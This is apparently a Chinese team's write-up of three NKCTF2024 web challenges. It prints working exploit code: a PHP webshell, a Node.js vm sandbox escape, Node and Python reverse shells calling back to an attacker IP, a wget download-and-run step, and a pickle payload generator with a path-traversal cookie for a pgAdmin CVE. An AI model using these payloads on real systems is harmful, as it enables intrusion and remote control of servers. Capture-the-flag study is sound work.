NKCTF2024-WEB-WP

发布于 2024-03-25  104 次阅读


/团队Just For The Question/

/*最终排名:6/

/总分:3674/

my first cms

/CMS Made Simple Version 2.2.19/

有几个CVE

后台:/admin

后台账户密码:admin/Admin123

CVE-2024-27622

写马

<?php echo system('*'); ?>

image-20240324184427196

<?php echo system('cat /_fffff1@g'); ?>

image-20240324184441309

全世界最简单的CTF

源码有藏着/secret

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

vm逃逸

这里过滤了一些东西,而且没有用字符拼接,那么我们用get钩子

exec/eval等都被过滤了,只有fork可用,配合fs写文件即可成功RCE

(但是这个题目的环境是真烂)

POC:

throw new Proxy({}, {
    get: function () {
        var use = "roce";
        var poc = "xe";
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor(`return p${use}ss`))();
        p.mainModule.require('fs').writeFileSync('command.js', `require('child_p${use}ss').e${poc}cSync("curl ip:4444");`)
        return p.mainModule.require(`child_p${use}ss`).fork('command.js');
    }
})

image-20240324190057805

image-20240324190113167

在服务器开http服务

//shell.js
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(7777, "ip", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

image-20240324190421585

image-20240324190440039

首先执行下载,下载shell.js

POC1:

throw new Proxy({}, {
    get: function () {
        var use = "roce";
        var poc = "xe";
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor(`return p${use}ss`))();
        p.mainModule.require('fs').writeFileSync('command.js', `require('child_p${use}ss').e${poc}cSync("wget http://ip:4444/shell.js -O shell.js");`)
        return p.mainModule.require(`child_p${use}ss`).fork('command.js');
    }
})

image-20240324191413343

然后执行下载的shell.jsshell

POC2:

throw new Proxy({}, {
    get: function () {
        var use = "roce";
        var poc = "xe";
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor(`return p${use}ss`))();
        return p.mainModule.require(`child_p${use}ss`).fork('shell.js');
    }
})

image-20240324191456505

成功拿到shell

在根目录找到readflag

image-20240324191600654

attack_tacooooo

提示1:账户是tacooooo@qq.com

提示2:题目环境无curl,bash命令

先登录:tacooooo@qq.com/tacooooo

这里可以找到CVE-2024-2044

由于题目没用curlbash,我这里用shpythonshell

需要上传两个文件:posix.picklea.sh

image-20240324193730644

修改pickler.py

import struct
import sys

def produce_pickle_bytes(platform, cmd):
        b = b'\x80\x04\x95'
        b += struct.pack('L', 22 + len(platform) + len(cmd))
        b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
        b += b'\x94\x8c\x06system\x94\x93\x94'
        b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
        b += b'\x94\x85\x94R\x94.'
        print(b)
        return b
if __name__ == '__main__':
    if len(sys.argv) != 2:
        exit(f"usage: {sys.argv[0]} ip:port")
    with open('nt.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('nt', f""))
    with open('posix.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('posix', f"sh /var/lib/pgadmin/storage/tacooooo_qq.com/a.sh"))//路径在抓上传包时可以看到

image-20240324193642078

linux中运行,在win中运行的无法成功

image-20240324193450754

//a.sh
#!/bin/sh

export RHOST="ip"
export RPORT=4444
python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

最后抓一个首页包,修改Cookie

pga4_session=../storage/tacooooo_qq.com/posix.pickle!a; PGADMIN_LANGUAGE=en

发包即可成功接收到反弹shell

image-20240324194041893

然后就是找flag,最终找到/etc/crontab/root

直接cat无法查看,用vi进编辑就可以了

image-20240324194219991

image-20240324194231303

已经有太多美好从身边流逝......
最后更新于 2024-03-25